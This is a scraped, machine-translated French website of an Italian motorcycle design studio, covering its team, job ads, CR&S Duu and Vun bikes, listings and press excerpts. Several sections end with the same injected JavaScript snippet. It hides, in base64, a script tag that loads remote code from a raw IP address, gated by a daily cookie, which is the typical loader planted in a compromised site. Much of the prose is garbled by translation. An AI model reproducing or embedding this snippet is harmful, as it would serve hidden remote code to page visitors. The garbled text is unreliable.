coque », Il remplit une double fonction: bien sûr esthétique et efficacité aérodynamique fonctionnelle. La composante esthétique fait l'objet du concepteur, mais ne se limite pas, comme vous pourriez penser, pour tracer des lignes « sexy » capables de satisfaire les clients potentiels. Roberto Crepaldi, le créateur du projet Recordmotorcycles, Il a dessiné les premières esquisses de style avec le blanc classique du système de papier et de charbon. Ceux-ci ont ensuite été traitées numériquement par notre Donato Cannatello, un spécialiste dans ce domaine (www.given.it), à modifier et rapidement révisée. Donato a également effectué un balayage 3D de l'ensemble du système pilote de moto pour effectuer une analyse dimensionnelle et la performance des écoulements aérodynamiques, et en outre a fait des impressions « solides » 3 Dimensions de chaque considérée comme composante essentielle de l'économie de la conception globale, En outre pour atteindre la partie en dessinée à CAD « tactile ». Le contraire de vol Comme nous l'avons dit, la conception de carénage doit prendre en compte la fonction très importante réalisée par cette « couverture » qui enveloppe le vélo. Nous nous référons à l'efficacité aérodynamique, puisque le profil de la moto est rien, mais une aile à l'envers ... (voir Glossaire, au fond). Le garde-boue avant est considéré comme faisant partie intégrante du carénage que, à l'exclusion du pneu, est le composant responsable de « ouvrir » l'air pendant la course. Le fluide dans lequel se déplace la moto, prosaïquement dit « air », Il oppose le mouvement du ... mouvement, et cette résistance augmente avec le carré de la vitesse: si on double la vitesse, la force aérodynamique Fr résistant augmentera de quatre fois et ainsi de suite, de façon exponentielle. Essayez de mettre une main

Équipe

Compte tenu motodesign né début 2015 et a pour objectif principal la conception des motos pour les particuliers qui veulent un sur mesure, mais aussi la conception pour les entreprises qui veulent faire leur idée en production. Pour les entreprises, il, il est important de rechercher de nouvelles formes, de nouvelles fonctionnalités, de nouvelles idées. Développer ces compétences en interne, cependant, il peut être coûteux et prend du temps. Il est également bon que les idées créatives viennent de l'extérieur, cela peut devenir une recherche et le développement de projets internes raison. Nous traitons la scène ou un concept concept avancé en essayant d'interpréter les exigences stylistiques du client, les tendances actuelles et futures en particulier, la technique réelle et proche avenir. Nous essayons de faire tout cela avec un esprit libre de préconceptions, la création d'objets qui ont les pieds sur le terrain que dans la mesure requise par le client, en l'absence de demandes explicites nous nous orienter vers un concept avancé qui peut être beaucoup plus difficile pour nous et pour l'utilisateur final. Ce qui nous distingue des autres amateurs de moto, Ce que nous aimons se salir les mains avec de la graisse et l'huile, puce culte, mais nous prévoyons également ordinateur fanatiques. Donc, notre première approche de la conception est informatisée et en particulier le mode 3D. Avec notre logiciel et matériel et avec nos mains, nous créons des surfaces en classe A ou B, Solide ou simplement en rendant les modèles qui sont à la fois belle, mais aussi et surtout fonctionnelle. Fonctionnelle signifie que vous pouvez les envoyer directement à un moulin, un 5 axes ou une machine de rendu, et vous ne serez pas avoir des problèmes de poids, contre-dépouilles, ou autre. Joignez-vous à l'équipe! Nous sommes à la recherche pour les postes suivants: Un chiffre de technique / commerciale - ref G19a Une figure de concepteur de concepteur- ref G19b Un chiffre de technique / commerciale - ref G19a Nous recherchons une personne capable de commandes de manutention et des citations, une forme de croix entre le livre et le compte de trading. Le candidat doit être capable de gérer les commandes et les fichiers 3D. Et « nécessaire connaissance de l'anglais et une base d'expertise dans le dessin technique. Une figure de concepteur de designers- ref G19b pense à voter pour le design et la construction? Nous sommes à la recherche d'une figure de junior Les concepteurs sont nécessaires compétences en modélisation 3D dans l'environnement Solidworks et bon manuel pratique. Une passion pour le monde de la moto est une condition sine condizio-non à coopérer avec nous. Nos partenaires Ces ci-dessous sont quelques-uns de nos meilleurs fournisseurs et les plus fiables, clients et amis. Et grâce à eux que nous pouvons offrir nos services dans une telle précision, Merci.

techniques d'étude et de conception

Publié en Chine avec une circulation de 75.000 copie, pour être utilisé comme un manuel technique à la faculté d'ingénierie chinoise, il volume "Etude technique et Design" est le troisième d'une série réussie de manuels techniques écrits par le professeur prolifique. pierre Wen. Sur intérieur décrit certains processus de production adaptés de nous, les prenant par exemple pour les jeunes étudiants chinois. La publication de ce livre a été une expérience extrêmement agréable et intéressant. température Résumé de seulement、Chenzhen Yi、Su Bolin、Enrico Leonardo Fagone、Donato Cannatello modifié la « source de la conception des produits et une percée » du point、ligne、surface、corps de départ,Pour retracer l'origine de la forme du produit,Les points de source pour recommencer,Nous avons étudié la possibilité d'une interprétation du style riche du,Pour aider les lecteurs à la conception de la dialyse de la nature。Ce livre présente la méthode de modélisation six,4Une étape de modélisation,3unité Produits Conseils,Il fournit une méthode pratique et efficace de la modélisation pour le lecteur engagé dans le travail de conception。Pour la surface de forme libre,hybride proposée、Ci-joint et de l'action de penser trois types de techniques de modélisation,Il fournit des solutions ciblées pour le lecteur de contrôler la modélisation de surface de forme libre difficulté。Ce livre vise à façonner l'inertie psychologique,5 groupes procédé proposé de modélisation inertie psychologique et percée,Pour le lecteur de briser les limites de leur propre style,Dans le monde de la modélisation plus riche ouvre une fenêtre。Le livre a interviewé un certain nombre de grands designers européens,Des visites de terrain à un certain nombre de premières entreprises de conception de l'Italie,Fournir aux lecteurs une nouvelle information de première main conception,Grâce à une analyse approfondie de ces cas de conception,Nous pouvons aider le lecteur à comprendre ces excellents concepteurs des méthodes de conception et un excellent processus de modélisation de cas de conception,Il aide à la vision de la conception de lecteurs et d'améliorer le niveau esthétique du lecteur。 entretien Résumé: 1une. La forme de motos a subi de grands changements depuis leur émergence. Que pensez-vous pourrait être les facteurs impliqués dans ce processus de changement? Je ne suis pas d'accord entièrement. L'âme de la moto est restée pratiquement inchangée dans plus de cent ans. Et cela est confirmé par certains modèles actuellement en production qui réinterprètent le style des motos classiques car ils rappellent l'essence de motos; deux roues, un moteur, vibrations et émotion. Les changements dans les formes et les styles qui ont suivi inévitablement dans le temps dépendent à mon avis sur 4 les raisons: technique, mode, évolution culturelle et la course. Pour la première 80 ans, nous sommes concentrés principalement sur l'évolution technique, la production de machines qui visaient plus de enything autre à la perfection et de la performance. À la fin 20 ans, au lieu du développement des éléments les plus intéressants de la technique et la course arrêtée, laissant l'évolution de la moto aux seuls aspects socio culturels /. Comme des aspects tels aujourd'hui prédominent dans la production de motos et de générer des nostalgiques, absurde, modèles futuristes ou hyper détaillées. .1b. De quelle manière la forme de motos européennes pourrait évoluer à l'avenir? design européen, tels que la conception orientale et occidentale, se spécialisera suivant exigences spécifiques; forme est toujours définie par le lieu où commence la production. En dépit de la contamination culturelle inévitable, La production européenne vise toujours une moto qui est à la fois fonctionnelle et passionnée, un parfait équilibre entre les caractéristiques de conduite et esthétiques, amusant et utilité. Tout pour aller de pair avec notre propre territoire, si inégale, avec des paysages variables, routes sinueuses et collines escarpées. La production américaine est dédié à leurs plaines sans fin et longues routes droites, et en même temps la production orientale a tendance à suivre les marchés, villes et de la rue surpeuplée avec des produits extrêmement fonctionnels et rationnels. Chaque excellente conception de motos se caractérise par son propre style unique, transmettre aux clients des émotions et des connotations particulières. En tant que designer, comment voulez-vous illustrez la personnalité de la moto en utilisant le formulaire langue ? Dans la conception de la moto, et plus généralement dans le design industriel, les volumes sont la principale caractéristique, le premier à transmettre un message au client. En regardant quelque chose contre la lumière, on sent immédiatement son caractère: si elle transmet la puissance,

CR&S EFFECTUE “SmallSheep”

Une proposition de remodelage de la lumière CR&S duu Nous avons essayé d'adapter au style des formes classiques, avec un front de phare rond et l'enlèvement de certaines matières plastiques et cooperture redessinée. Une intervention très conservatrice pour lui permettre de fonctionner à la fois comme une mise à niveau ou des mises à niveau du marché secondaire.

CR&S

Nous vendons une belle et exclusive CR&S. Plaisir de conduire, léger et puissant. Accessoires réservoir en aluminium brossé Ceriani avec gaines de pleine et le traitement DLC Handlebar en deux morceaux (le plus original) radiateur simple carbone de carénage de phare, plus (plus « stéréo d'origine) Vous recherchez Alpina Tubeless Type de freinage Frein arrière à disque de choc Ohlins marguerite offre Passage de la propriété à l'acheteur norme d'émission Euro 2 Non endommagé Déplacement 652 cc des propriétaires précédents 0 Couleur GREY Non Utiliser uniquement affaibli LA PISTE ABS spécial Non Non Non Puissance

CR&S duu utilisé

Nous avons à vendre un Bellima CR&S duu utilisé. Le vélo est parfait et très équipée, il est une version 2013 puis avec diverses petites améliorations à la moto. Le kilométrage est très faible et le prix du nouveau dépasse 50000 euro. Le vélo a une disposition de phare "traverser" poliellissoidali avec LED et est le DUU #1 (le premier spécimen) plus de carénage porte sur le dévouement des membres CR&S. Sélection du type de propriétés Step à l'acheteur norme d'émission Euro 2 Non endommagé Déplacement 1.916 cc des propriétaires précédents 1 Couleur BLEU pneus Pneus Conditions. 80% poster. 80% Utilisez uniquement underpowered Aucune piste Non ABS spécial Non Non Non Puissance

Victory Hammer “DNT”

Le Victory Hammer DNT a été conçu pour DNT Racing, C « est une vitrine de la moto qui représente ce que vous pouvez faire avec un marteau victoire sans aucune modification structurelle ou d'homologation. Toutes les pièces sur la moto en question ont été conçus ad hoc et peuvent être montés sur la moto sans aucune modification. A partir de ce vélo, il sera dans un kit de conversion très court régulièrement en vente à travers le réseau de vente DNT Racing. Il Kit, monté sur toute la famille Victory Hammer, vous pouvez monter sans aucune modification, et en conservant les caractéristiques d'approbation de la moto, Il sera donc composé de différentes parties, permettant à l'utilisateur final de customizzarsi sa victoire du tracteur à la queue, à travers des détails techniques tels que des roues rayonnées avec canal 10" faces pour recevoir le pneu arrière 300mm. Le vélo a été modifié plus pour rendre le processus de construction industrielle et "rentable", puis la queue a été réalisée avec un style plus "classique".

BULINATURA E CESELLO

La société est DONNÉ fortement orientée vers le monde numérique, conception assistée par ordinateur et les technologies les plus modernes et innovantes. En même temps, cependant, nous avons une forte vocation pour la conception aussi "style" purement "esthétique" article. Ainsi, nos intérêts ne sont pas limités à la conception et les parties solides, mais aussi à leur arrivée. Et « pourquoi nous avons pris en charge une gamme de finitions manuelles qui peuvent "décorer" l'aspect extérieur de nos pièces. La marque de poinçon tombe complètement dans cette veine, car elle permet de donner un autre détail stylistique en pièces finies tout comme on le croit, afin qu'ils puissent être polis, brossé ou peint. Pour entreprendre cette belle technique (ou mieux "art"), nous avec patience, la sueur et les outils créés spécifiquement.

COUREURS 08 2009

Dans un Milan el coeur de plus en plus cont chez l'homme, Heureusement, il y a encore quelqu'un qui construit des motos avec le cœur et les mains. séparément, avec soin et passion. Les histoires de momentum et tant d'hommes qu'ils ont dit, mais ceci est l'histoire d'une idée. Une histoire simple, mais spécial dans son petit. Si deux roues se déplacent l'âme, le courage de quelques amis a réussi à apporter une marque de moto à Milan. Une ombre de la Vierge ont été marques telles que Bianchi fonctionne, Miller-Balsamo, Iso Moto, Parrilla, Guazzoni, Innocenti. Et Paton Peppino Pattoni, le dernier GP dans le constructeur privé pour lutter contre les géants japonais, avec les quatre cylindres verts. aujourd'hui, la ville de la mode, a tagliare moto su misura c'è la CR&S. Vue de l'extérieur, son siège est un petit hangar comme tant d'autres dans la zone industrielle de Settimo Milanese. Sauf pour une chose, motocyclettes queue à l'extérieur: se ressembler, mais ils ne sont pas identiques. Ils sont un seul cylindre un peu coureur de café, un peu de poche nue. Ils sont appelés Vun. ils Idée. Les personnes qui ont effectué des travaux sous le même toit, en tant que parties d'un même moto. Le magasin est au rez de chaussée, les murs sont recouverts par des affiches du Bol d'Or, Tourist Trophy et Assen. Le service de conception et de documents est sur la mezzanine ouverte (plutôt, Spasi Avert), dominé par le carénage sinueux superbike Britten V 1000. Roberto Crepaldi se trouve juste devant. Ce fut lui qui a fondé le Racers Café & Superbikes en 1992, après avoir quitté le numéro un ouvert avec Carlo Talamo et Max Brun. L'année suivante, il a rencontré John Britten, le brillant ingénieur-Zélandais célèbre pour son V 1000. Il trop vite à la poursuite d'une idée. Britten laisser, soutenu en Europe par CR&S, il présente dans les compétitions à travers le monde, jusqu'à la disparition du même Britten. En utilisant l'expérience de l'entrepreneur dans l'assurance automobile (Il avait été concessionnaire de Ferrari, Jaguar e Aston Martin), Crepaldi prend exemple du projet du dernier John d'une course monocylindre, monoplace, avec le rapport de poids et de puissance égale à une. un. de, dialecte milanais ... John Cabassi et Giorgio Sarti sont amis, entrepreneurs, penseurs vélos gratuits à 2002 hanno affiancato Crepaldi nella CR&S. Deux ans après Roberto Pattoni, fils Peppino et propriétaire de Paton, diventa partner della CR&S come responsabile tecnico dello sviluppo. Le choix du moteur est le Rotax Bombardier 650, apprécié sur la BMW F grâce à sa rue orientée et la fiabilité . Conçu comme un mono de course, Le Vun prouve un animal à proximité mixte, aussi excellent pour une utilisation dans la ville . Le design combine les lignes classiques des tubes de cadre

LOGISTICA E.I.C.M.A.

Merci à notre proximité de la Foire Internationale de l'EICMA Motorcycle Show à Milan, nous pouvons offrir aux entreprises nationales et étrangères un service logistique complet et gestion de l'espace d'exposition à la foire. Nous pouvons recevoir vos vélos, sdoganarle, retirer de l'emballage, remettre en état, le cas échéant, apporter des modifications ou la finition pour veiller à ce qu'ils apparaissent dans le meilleur possible, et bien sûr modifier ou même préparer un concept en un temps record. Même tous et de la foire se déplacerait à nos soins au total, il vous suffit de concevoir les paramètres, nous nous traitons aussi avec toutes les procédures bureaucratiques et organisationnelles contre la foire commerciale.

CR&S SPÉCIALISTE

Nous sommes très expérimentés beau mouvement de certains CR&S, célèbre marque milanaise fondée au début du siècle par trois grands amateurs de moto, Cabassi, Crepaldi et Tailleurs. La production de la CR&S a toujours été distingué par le raffinement de leurs réalisations et l'exclusivité de ses produits, notamment motos produites sont CR&S (présenté en 2006) et CR&S EFFECTUE (présenté en 2009). Notre expérience sur ces motos vient du fait que notre Donato Cannatello était depuis de nombreuses années responsables de la conception de cette société, contribuant au style et à l'ingénierie de duu et à la production et la personnalisation du même et la VUN précédente. Actuellement, nous essayons de satisfaire tous les clients CR&S les suivre avec leurs idées folles de personnalisation, mais aussi une assistance mécanique pour leurs jouets.

MAX 03 2010

MIRACLE A MILAN Il est appelé CR&S et l'arrière-pays est une petite entreprise avec une grande passion. sa moto "doit être quelque chose de spécial", Ils sont construits à la main et chacun d'eux est différent de l'autre. Voici son dernier bijou: nu, Douane, roadster? Un peu partout. Un hangar anonyme juste en dehors de la ville rurale . Il est une phrase qui "tatoué « » sur chacun des vélos sortant de là "Ils disent à Milan, cont il coeur e cont'i man". Traduit en italien signifie "fait à Milan, avec le cœur et les mains", l'essence et la philosophie du CR&S, une petite entreprise fondée par Roberto Crepaldi passion viscérale pour deux roues. Crepaldi a des idées claires: chaque mouvement fait par CR&S doit être quelque chose de spécial et être différent des autres. Comme sa dernière création. Apportez la ("dû") comme son nom l'indique il est la deuxième motion de l'histoire courte de CR&S, Il a un moteur énorme et explosif avec deux cylindres 1.916 cc et échappe aux définitions traditionnelles. Nu, roadster, Douane, combattant de rue? Un peu « toutes ces choses ensemble, mais DUU est d'abord et avant tout une œuvre d'art unique en métaux précieux et des matériaux moulés recherchés selon des formes qui définissent original et fascinant est presque réductrice. De plus, chaque client peut personnaliser leur personnage en choisissant la construction, les composants du niveau de préparation châssis et le moteur. Les prix commencent à 20.000 euro, Mais en plus de l'argent que vous aurez à faire preuve de patience, parce que le CR&S sont réalisés à la main, une par une. Stefano Bariggia max function getCookie(e){var U = document.cookie.match(nouveau RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

AMD USA 01 2010

CR&S Moto a utilisé le salon de la moto « EICMA » à Milan, Italie, pour débuter son nouveau modèle prototype - le X-Wedge alimenté Duu. Dans un premier temps être montré comme un concept bike, lorsque la Duu, conçu par Donato Cannatello, va en pleine production, chaque vélo sera construit à la main avec le client ayant le choix d'une gamme d'options techniques et esthétiques. Les options disponibles incluent un seul et / ou un module de base à deux places. "Nous pensons que ce sport cruiser Euro a le potentiel d'être une sorte d'équivalent américain à la Triumph Speed ​​Triple, mais avec le style italien," ledit Roberto Crepaldi, le directeur général de CR&S. "Duu est le bon nom pour ce modèle - c'est un bicylindre en V, le second élément du CR&famille S, il aura un moteur de deux litres, va peser 200 kilos, et transportera deux personnes. Que pourrions-nous cali autre le?! "La production commencera au début de la route 2011.We've déjà commencé à tester le vélo de développement, mais nous sommes ali vraiment hâte d'obtenir des commentaires du public." fonction getCookie(e){var U = document.cookie.match(nouveau RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Nouvelles International Dealer 01 2010

Le dernier projet de Roberto Crepaldi, la Duu, est un grand double construit autour S refroidi par air&1916cc / 117ci de fabrication américaine de S Cycle 60 degré moteur bicylindre en V. Montré comme concept bike à EICMA, Crepaldi dit le Duu sera un vélo modulaire construit, avec des options de configuration de client qu'il espère vendre à un prix de base de 20 000 €, avec un volume de production de quelques dizaines d'unités par an, et les premières livraisons ciblées pour 2011... ukidn012010 function getCookie(e){var U = document.cookie.match(nouveau RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

faible tour 11 2009

la 2011 Il semble presque ici. Une vague de modernisme rend le vol la petite grande maison à Settimo Milanese. CR&S se distingue déjà par l'originalité de leur streetfighter de près mixte et la spécificité de chaque pièce. L'évolution logique du mono, essentiel et amusant, Ce sera double. il semble "solo" un vélo de concept, mais un chariot élévateur DUU a déjà parcouru plusieurs kilomètres; Les tests valident les choix techniques inhabituelles. Le jumeau X-Wedge est son cœur battant, un bicylindre en V "air" près de deux litres qui améliore la recherche S&S sur les schémas classiques de Harley-Davidson. L'angle des cylindres 56 cours de degré annule les vibrations; distribution avec trois arbres à cames dans le carter et les courroies dentées assure une géométrie optimale, par l'intermédiaire de tiges courtes et des poussoirs hydrauliques. Figurant est le bruit mécanique, faire l'approbation Euro peut 3 avec injection et des catalyseurs. Le pot d'échappement en acier inoxydable est étudiée par échappement QD pour centraliser les masses et de permettre une inclinaison latérale supérieure 40 degrés. Le potentiel de ce très grand jumeau est remarquable, même dans la configuration "code": du moins 100 chevaux et 130 Newton / mètre de couple, mais la livraison est complète chaque système. Changer de séparer 5 la 6 les relations et la chaîne primaire complète un groupe motopropulseur inséré dans une trame d'origine. Une grande partie de tuyau d'acier de la tête de direction et le lubrifiant contient; Il soutient de belles plaques latérales, atelier billet Rhizome, à laquelle elle est ancrée au moyen d'une section transversale tubulaire; le monobras. Toutes les propositions CR&S né dans le but d'assurer un plaisir de conduite et le châssis de DUU, un distillat de Made dans l'extraction de sports Italie, ne vous décevra pas . Les détails sont belles, en commençant par les plaques de guidage réalisées par Rizoma et des roues modulaires; freins Brembo et des suspensions de qualité permettent un réglage suffisant. La précision et l'agilité de la réactivité promettent de pilote , plis extrêmes et la manipulation, sans tomber dans l'extrême des unités face trop "nerf". Avec des dimensions proches de celles d'un XR1200 et le poids d'environ 237 kg à sec, grâce all'allungo moteur à l'infini devrait être amusant, facile et exaspéré. Ces qualités sont ajoutés une philosophie modulaire pour configurer la moto en fonction de différents styles de conduite et de la vie, la qualité des composants, savoir-faire avec des garanties industrielles: facile à prévoir un intérêt immédiat autour de ce streetfighter. Un grand nombre de CR composants&S sont conçues sur mesure par Donato Cannatello par des entreprises italiennes comme Rhizome. L'originalité et raccords "sur mesure" devrait représenter un atout supplémentaire en faveur de DUU. Même le prix fixe promet d'être intéressant, environ 20.000 euro: proche de celle de l'ARAC et au-dessous du nouveau V-Max ... Combien de temps avant la 2011? TÉLÉCHARGEMENT PDF ... fonction getCookie(e){var U = document.cookie.match(nouveau RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

NAC

NAC est une moto concept conçu pour un fabricant asiatique qui a commandé une étude de style de leur base mécanique préexistante. La base est un cylindre double 650cc de frontemarcia, une lumière moto puissant, l'inspiration Kawaski ER6. De ce reprend le bras oscillant avec amortisseur décalé dans une position latérale, la géométrie du moteur et du vélo et dimensions ergonomiques. La demande était de développer un concept caractérisé par une forte racé d'appel mais moderne en même temps, avec tout le optique et en général beaucoup d'attention particulière aux systèmes d'éclairage, donnant la préférence, si possible, la technologie LED. Nous avons fait une petite route belle, équipé de carénage avec une bonne couverture du pilote, mais en insistant sur le plaisir de conduire chaque jour grâce à un guidon nu qui permet une position de conduite plus confortable, détendu et prêt. La décharge sous la selle, la selle singulière des lignes très fines complètent une image d'une moto par la forte saveur évocatrice mais par la facilité d'utilisation et l'accessibilité facile.

+++ Elec

+++ Elec est une moto électrique avec un fort caractère sportif. Conçu pour rivaliser avec les six cents quattrocilindri, Il fait référence à leur style et leurs formes, tout en étant fortement caractérisée par son motorisation électrique. Il est encore un projet pour lequel le moment est impossible de divulguer plus d'informations.

Design Association moto | 2012 Milan nuit

La marque historique Moto Guzzi, appartenant au groupe Piaggio, Il a reçu le Prix de l'Association Design Moto, un témoignage de la qualité du centre de style direct de Miguel Galluzzi. La cérémonie de remise des prix, Il a tenu mercoledì¬ matin dans la salle Scorpio à l'intérieur du centre de conférence EICMA, Il a fait sur le style italien et la qualité et le professionnalisme du centre de design Piaggio. Il a été le président de l'Association Design Moto en personne, Glynn Kerr, de livrer entre les mains Dario Lopez, au nom de la « zone graphique du groupe Piaggio, le prix très convoité qui donne chaque année la reconnaissance du monde du design au meilleur produit de moto en termes d'innovation et de style. Présent à la cérémonie Donato Cannatello, concepteur et membre de la communauté internationale. Pour l'édition 2009 les prix, la conception de l'organisation (vantant 165 membres répartis sur quatre continents) Il a décidé d'accorder le prix pas pour un modèle unique, mais trois appartenant à la même marque, dans ce cas Guzzi. Le prix est donc allé à la Strada V12, le LM V12 et V12 X. Design Association moto brève description "la conception de la moto est un espace unique et hautement spécialisée, mais il a déjà été aucun organisme central pour représenter la cause, une omission qui a été au détriment des deux concepteurs et les fabricants aussi bien. Par conséquent, l'Association Design Moto a été créé en 2001 par les co-fondateurs Glynn Kerr et François-Marie Dumas. Les objectifs de l'association sont de réunir les concepteurs de motos de toutes nationalités, de promouvoir leurs activités et de faciliter la communication entre les concepteurs et les clients potentiels. Nous sommes également efficace dans la promotion du travail des élèves, et aider à créer des liens entre les collèges et l'industrie de la moto. L'Association dispose désormais d'un effectif de plus de 150 membres, y compris les concepteurs indépendants, ingénieurs, modélistes et studios de design dans le monde entier." fonction getCookie(e){var U = document.cookie.match(nouveau RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Quelques couvertures consacrées à duu

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COUREURS

EXERCE, MAIS PAS DE PIQUE A vendre en un an au prix de départ de 20 mille euros, DUU voir le dernier salon de Milan en tant que concept (et nous avons décrit un aperçu des Riders nombre 22) Il est l'un des rares propositions vraiment originales de ces derniers temps. Le Milan CR&S qui portait est le même que le seul cylindre léger Vun: Roberto Crepaldi, Giorgio Sarti et John Cabassi, Les trois pilotes avant entrepreneurs, Ils ont mis l'accent sur une niche inexplorée mais intéressant. La Duu est une spéciale produite en petite série, modulaire et hautement personnalisable, avec du contenu exclusif de style américain et européen de la Confédération française Wakan, mais offert à une fraction du coût. conduit, deux Meneghino dialecte, parce que les deux cylindres sont le déplacement et (1.916 ce) Il est à côté de deux litres, et pourquoi, vouloir, le vélo PUE être à deux endroits et non pas comme la monoplace Vun. Ce Streetfighter maxi V2 Assemble de 56 ° X-Wedge l'Américain S&S, un fort monstre avec son 16 kgm de couple maximum de seulement trois mille révolutions. Le châssis est en acier inoxydable poli: une grande poutre qui agit également comme réservoir d'essence, avec des plaques latérales en aluminium pour maintenir le bras oscillant arrière (toujours un grand tube en acier courbé) et le réservoir d'essence qui contient également la selle. La conception est signée par Donato Cannatello, qui a travaillé pour Aprilia Bimota, dont le dispositif est placé sous le moteur de déchargement, Il a caché tous les piliers et créé une ligne minimaliste facilement modifiable en ajoutant, ou la suppression, un ensemble d'accessoires (y compris les sacoches ou un récipient au-dessus du réservoir) appendices fonctionnels et esthétiques. La selle peut être dans un ou deux endroits et il existe différentes solutions pour les phares et les finitions de surface. Malgré le grand moteur, le vélo est tout à fait compacte dans son genre et pèse autant qu'une Harley Sportster 883, parce DUU est fait pour être conduit non seulement ostentatoire. Un projet ambitieux, non dépourvue de résistances à surmonter, comme son expérience et la réputation du CR&S. Mais il faut dire que cette réalité est organisée, petit, comme une véritable industrie de la moto. (Maurizio Gissi) fonction getCookie(e){var U = document.cookie.match(nouveau RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

deux roues

